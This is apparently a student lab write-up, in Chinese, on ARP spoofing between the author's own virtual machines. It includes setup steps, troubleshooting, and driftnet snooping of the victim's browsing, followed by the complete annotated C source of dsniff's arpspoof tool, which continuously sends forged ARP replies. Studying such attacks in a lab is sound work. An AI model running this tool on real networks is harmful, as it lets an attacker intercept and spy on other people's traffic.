ARP欺騙

ArpSpoof欺騙

環境配置

  1. 安裝兩臺虛擬機。

    • 安裝的虛擬機分別爲ubuntu18.04和windows10。

    • 使用ubuntu作爲攻擊主機,windows作爲被攻擊主機,宿主主機作爲與被攻擊主機通信的主機。

    • 兩臺虛擬機與主機網路連接方式爲橋接網絡的形式,保證上述三臺主機在同一子網下的不同ip地址下。

      實例講解虛擬機3種網絡模式(橋接、nat、Host-only)

      橋接網絡是指本地物理網卡和虛擬網卡通過VMnet0虛擬交換機進行橋接,物理網卡和虛擬網卡在拓撲圖上處於同等地位,那麼物理網卡和虛擬網卡就相當於處於同一個網段,虛擬交換機就相當於一臺現實網絡中的交換機,所以兩個網卡的IP地址也要設置爲同一網段。

  2. 安裝實驗所需依賴包

    sudo apt install libnet1
    sudo apt install libpcap-dev
    sudo apt install libnet1-dev
  3. 獲取源碼並合併成一個文件

    • 通過命令sudo apt source dsniff下載源碼,將arp.c,arp.h,和arpspoof.c三個文件合併起來。
    • 去除對於dsniff目錄下的version.h和config.h的依賴,見附錄文件。
    • 閱讀並理解該代碼文件,並對文件進行註釋,見附錄文件。

實驗內容

  1. 編譯文件生成可執行文件arpspoof,其中編譯命令爲gcc arpspoof.c -lnet -lpcap -o arpspoof

    • 過程中遇到編譯不通過,原因分別爲:
      • 沒有去除對於dsniff目錄下其他源文件的依賴。
      • 沒有指定libnet和libpcap第三方庫的路徑,使用編譯參數-lnet -lpcap指定編譯時搜索libnet和libpcap的路徑。
  2. 獲取當前三臺主機的IP地址,查看arp表

    宿主機 IP         192.168.1.147
    ubuntu IP         192.168.1.225
    windows10虛擬機IP 192.168.1.154
  3. 運行arpspoof命令,對windows宿主機和windows虛擬機進行欺騙。

    • 出現過如下問題:
      這裏寫圖片描述

      上述問題原因爲arpspoof命令需要構建鏈路層包,執行該命令需要root權限,因此使用sudo執行該命令。

    • 這裏寫圖片描述
      上述問題出現的原因爲ubuntu虛擬機的網卡命名方式的改變,使用ifconfig查看ubuntu虛擬機網卡名稱爲enp0s3

      Predictable Network Interface Names

      Starting with v197 systemd/udev will automatically assign predictable, stable network interface names for all local Ethernet, WLAN and WWAN interfaces. This is a departure from the traditional interface naming scheme (“eth0”, “eth1”, “wlan0”, …), but should fix real problems.

    • e4

      上述問題提示不能解析該主機。查看源碼中出現該問題的位置,

      8

      可知該地址不在ubuntu主機的arp緩存中,由於沒有使用命令sudo echo 1 > /proc/sys/net/ipv4/ip_forward開啓端口轉發,開啓端口轉發後對ubuntu主機嘗試使用ping命令,向windows宿主機和虛擬機發包,這樣會發現ubuntu主機的arp緩存表中出現了兩臺windows的IP和Mac地址映射。

      注:

      1. 上述IP地址和2中IP地址不一樣,原因爲實驗過程中網絡環境的變化,最終結果以2爲準。
    • 解決所有問題後的攻擊過程。

      • 5

      上圖爲正在攻擊時ubuntu主機的執行過程。

      • 爲了證明攻擊的有效性,我們打開window宿主機和虛擬機的arp緩存,發現如下結果

      3

      由圖可知windows虛擬機arp緩存表中windows宿主機的硬件地址和ubuntu虛擬機的硬件地址是完全一樣的,這說明win虛擬機已經錯把ubuntu的mac地址放置在緩存中了。

    • 使用driftnet查看win虛擬機訪問的外網圖片。

      • 實現該攻擊的原因是windows宿主機即爲本子網的網關,win虛擬機對於外網的訪問必須經過win宿主機。但是由上圖可知,ubuntu對window虛擬機和宿主機進行了攻擊,這使得win虛擬機的每次對外網的訪問均需要經過ubuntu的偷窺。

      • 使用windows瀏覽器查詢廈門大學,得到如下結果

      這裏寫圖片描述

代碼附錄

/*
 * arp.c
 *
 * ARP cache routines.
 * 
 * Copyright (c) 1999 Dug Song <[email protected]>
 *
 * $Id: arp.c,v 1.8 2001/03/15 08:32:58 dugsong Exp $
 */

//#include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>//套接字相關的函數聲明及結構體聲明
/*
    定義sock_addr, msghdr, cmsghdr等宏
*/
#ifdef BSD
#include <sys/sysctl.h>
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__  /* XXX */
#define ether_addr_octet octet
#endif
#else /* !BSD */
#include <sys/ioctl.h>
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>//互聯網協議及通信配置
/* 
    定義了in_port in_addr_t及sock_addr_in等結構體,
    定義了IPPIPPROTO_IP, IPPROTO_ICMP, IPPROTO_TCP,
    IPPROTO_UDP, INADDR_ANY, INADDR_BROADCAST等協議宏
    和地址類型宏。
*/
#include <netinet/if_ether.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>


int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
//arp緩存查找,該函數在arp緩存中查找目標ip地址的對應的mac地址,並保存到結構體ether中
#ifdef BSD//類unix操作系統下定義arp 緩存查找函數
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
    int mib[6];
    size_t len;
    char *buf, *next, *end;
    struct rt_msghdr *rtm;
    struct sockaddr_inarp *sin;
    struct sockaddr_dl *sdl;

    mib[0] = CTL_NET;
    mib[1] = AF_ROUTE;
    mib[2] = 0;
    mib[3] = AF_INET;
    mib[4] = NET_RT_FLAGS;
    mib[5] = RTF_LLINFO;
    /*
        函數原型
        int sysctl(const int *name, u_int namelen, void *oldp,size_t *oldlenp, void *newp, size_t newlen); 
        sysctl函數檢索系統信息並允許具有適當權限的用戶設置系統信息.結果信息被複制到oldp指示的地址空間中.
        需訪問和設置的內核狀態在MIB(Management Information Base)中指明,即下面函數中6個int長的mib數組.
    */
    if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
        return (-1);

    if ((buf = (char *)malloc(len)) == NULL)
        return (-1);

    if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
        free(buf);
        return (-1);
    }
    //訪問內核狀態和信息成功
    end = buf + len;
    //遍歷查找表項中對應IP地址的mac地址
    for (next = buf ; next < end ; next += rtm->rtm_msglen) {
        rtm = (struct rt_msghdr *)next;
        sin = (struct sockaddr_inarp *)(rtm + 1);
        sdl = (struct sockaddr_dl *)(sin + 1);
        //如果s_addr和查找的IP地址相等且sdl_alen長度不爲零,找到
        if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
            memcpy(ether->ether_addr_octet, LLADDR(sdl),
                   ETHER_ADDR_LEN);
            free(buf);
            return (0);
        }
    }
    free(buf);//釋放前面分配的緩存空間

    return (-1);
}

#else /* !BSD */

#ifndef ETHER_ADDR_LEN  /* XXX - Solaris */
#define ETHER_ADDR_LEN  6
#endif

int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
    int sock;
    struct arpreq ar;
    struct sockaddr_in *sin;

    memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
    strncpy(ar.arp_dev, lif, strlen(lif));
#endif
    sin = (struct sockaddr_in *)&ar.arp_pa;
    sin->sin_family = AF_INET;
    sin->sin_addr.s_addr = ip;
    /*
        函數原型: int socket(int domain,int type,int protocol)
        domain:協議類型,一般爲AF_INET type:socket類型 
        protocol:用來指定socket所使用的傳輸協議編號,通常設爲0即可
    */
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        return (-1);
    }
    if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
        close(sock);
        return (-1);
    }
    close(sock);
    //設置ether_addr_octec的值爲ar.arp_ha.sa_data
    memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);

    return (0);
}

#endif /* !BSD */

/*
 * arpspoof.c
 *
 * Redirect packets from a target host (or from all hosts) intended for
 * another host on the LAN to ourselves.
 * 
 * Copyright (c) 1999 Dug Song <[email protected]>
 *
 * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
 *
 * Improved 2011 by Stefan Tomanek <[email protected]>
 */

// #include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <netinet/in.h>

// #include <stdio.h>
// #include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

// #include "arp.h"
// #include "version.h"

//函數將48位的Ethernet 數字轉換成對應的ascii表示形式
extern char *ether_ntoa(struct ether_addr *);

struct host {
    in_addr_t ip;
    struct ether_addr mac;
};

static libnet_t *l;
static struct host spoof = {0};
static struct host *targets;
static char *intf;
static int poison_reverse;

static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";

static int cleanup_src_own = 1;
static int cleanup_src_host = 0;

static void
usage(void)
{
    //fprintf(stderr, "Version: " VERSION "\n"
    //  "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
    fprintf(stderr, "Version: No version code\n"
        "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
    exit(1);
}


/*該函數構建arp包並且發送給指定目標ip地址
其中參數指定了
    鏈路層接口   llif
    網絡設備名稱 dev 
    arp包操作 op
    源硬件地址 sha
    源ip地址 spa
    目的硬件地址 tha
    目的ip地址 tpa
*/
static int
arp_send(libnet_t *l, int op,
    u_int8_t *sha, in_addr_t spa,
    u_int8_t *tha, in_addr_t tpa,
    u_int8_t *me)
{
    int retval;

    if (!me) me = sha;

    /*libnet_autobuild_arp函數,功能爲構造arp數據包    */
    libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
                 tha, (u_int8_t *)&tpa, l);
    /*libnet_build_ethernet函數,功能爲構造一個以太網數據包*/
    libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);

    fprintf(stderr, "%s ",
        ether_ntoa((struct ether_addr *)me));
    //消息回顯
    //arp請求操作,錯誤輸出發出arp請求的消息內容
    //否則返回reply消息內容
    if (op == ARPOP_REQUEST) {
        fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
    }
    else {
        fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
        fprintf(stderr, "%s\n",
            ether_ntoa((struct ether_addr *)sha));
    }
    retval = libnet_write(l);
    if (retval)
        fprintf(stderr, "%s", libnet_geterror(l));

    libnet_clear_packet(l);

    return retval;
}

#ifdef __linux__//linux專用的arp_force函數
static int
arp_force(in_addr_t dst)
{
    struct sockaddr_in sin;
    int i, fd;

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        return (0);

    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = dst;
    sin.sin_port = htons(67);

    i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

    close(fd);

    return (i == 0);
}
#endif

static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
    int i = 0;

    do {
        if (arp_cache_lookup(ip, mac, intf) == 0)
            return (1);
#ifdef __linux__
        /* XXX - force the kernel to arp. feh. */
        arp_force(ip);
#else
        arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
        sleep(1);
    }
    while (i++ < 3);

    return (0);
}

static int arp_find_all() {
    struct host *target = targets;
    while(target->ip) {
        if (arp_find(target->ip, &target->mac)) {
            return 1;
        }
        target++;
    }

    return 0;
}

static void
cleanup(int sig)
{
    int fw = arp_find(spoof.ip, &spoof.mac);
    int bw = poison_reverse && targets[0].ip && arp_find_all();
    int i;
    int rounds = (cleanup_src_own*5 + cleanup_src_host*5);

    fprintf(stderr, "Cleaning up and re-arping targets...\n");

    //清理時不做欺騙形式的arp應答,即reply應答都是正確的
    for (i = 0; i < rounds; i++) {
        struct host *target = targets;
        //對於目標中的每個IP,均做rounds遍清理操作
        while(target->ip) {
            uint8_t *src_ha = NULL;
            if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
                src_ha = my_ha;
            }
            /* XXX - on BSD, requires ETHERSPOOF kernel. */
            if (fw) {
                //正確的應答
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&spoof.mac, spoof.ip,
                     (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                     target->ip,
                     src_ha);
                /* we have to wait a moment before sending the next packet */
                sleep(1);
            }
            if (bw) {
                //正確的反向應答
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&target->mac, target->ip,
                     (u_int8_t *)&spoof.mac,
                     spoof.ip,
                     src_ha);
                sleep(1);
            }
            target++;
        }
    }

    exit(0);
}

int
main(int argc, char *argv[])
{
    extern char *optarg;//選項的參數指針
    extern int optind; //下一次調用getopt時,從optind存儲的位置處檢查選項
    char pcap_ebuf[PCAP_ERRBUF_SIZE];
    char libnet_ebuf[LIBNET_ERRBUF_SIZE];
    int c;
    int n_targets;
    char *cleanup_src = NULL;

    spoof.ip = 0;
    intf = NULL;
    poison_reverse = 0;
    n_targets = 0;

    /* allocate enough memory for target list */
    targets = calloc( argc+1, sizeof(struct host) );

    if ((l = libnet_init(LIBNET_LINK, NULL, libnet_ebuf)) == NULL)
        errx(1, "%s", libnet_ebuf);

    //輸入參數解析代碼
    while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
        switch (c) {
        case 'i':
            intf = optarg;
            break;
        case 't':
            //對於每個被欺騙對象,需要在該ip前指定參數爲目標 -t XXXX
            if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                usage();
            break;
        case 'r':
            poison_reverse = 1;
            break;
        case 'c':
            cleanup_src = optarg;
            break;
        default:
            usage();
        }
    }
    argc -= optind; //參數個數減少optind
    argv += optind; //指針位置增加optind

    if (argc != 1)
        usage();

    if (poison_reverse && !n_targets) {
        errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
        usage();
    }

    //
    if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
        /* only use our own hw address when cleaning up,
         * not jeopardizing any bridges on the way to our
         * target
         */
        cleanup_src_own = 1;
        cleanup_src_host = 0;
    } else if (strcmp(cleanup_src, "host")==0) {
        /* only use the target hw address when cleaning up;
         * this can screw up some bridges and scramble access
         * for our own host, however it resets the arp table
         * more reliably
         */
        cleanup_src_own = 0;
        cleanup_src_host = 1;
    } else if (strcmp(cleanup_src, "both")==0) {
        cleanup_src_own = 1;
        cleanup_src_host = 1;
    } else {
        errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
        usage();
    }

    //spoofip是參數中的最後一個IP地址參數. 例如使用arpspoof -i -t target1 -t target2 spoofip
    //arp欺騙時向target發送arp應答:spoofip的mac地址爲本機硬件地址
    if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
        usage();

    libnet_destroy(l);

    if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
        errx(1, "%s", pcap_ebuf);

    if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
        errx(1, "%s", libnet_ebuf);

    struct host *target = targets;
    //實驗過程中遇到該問題,arp緩存中沒有找到該轉發項,原因是沒打開ip轉發
    while(target->ip) {
        //欺騙的target均必須出現在本機的arp緩存中
        if (target->ip != 0 && !arp_find(target->ip, &target->mac))
            errx(1, "couldn't arp for host %s",
            libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
        target++;
    }

    if (poison_reverse) {
        if (!arp_find(spoof.ip, &spoof.mac)) {
            errx(1, "couldn't arp for spoof host %s",
                 libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
        }
    }

    if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
        errx(1, "Unable to determine own mac address");
    }

    //當程序收到SIGHUP, SIGINT, 和SIGTERM信號時,調用cleanup函數取消欺騙動作
    signal(SIGHUP, cleanup);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    //程序死循環發送arp應答,持續攻擊被攻擊者,向其發送arp應答,實現arp欺騙.
    for (;;) {
    if (!n_targets) {
      arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, brd_ha, 0, my_ha);
    } else {
        struct host *target = targets;
        //對於每個target,均實施針對spoof ip的欺騙應答
        while(target->ip) {
            //提供的mac地址爲my_ha,arp_send函數自動獲取本機硬件地址填入arp應答包, 以此欺騙被攻擊者
            arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
                (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                target->ip,
                my_ha);
            printf("hello arpspoofing\n");//消息回顯
            if (poison_reverse) {
                arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
            }
            target++;
        }
    }

        sleep(2);
    }
    /* NOTREACHED */

    exit(0);
}
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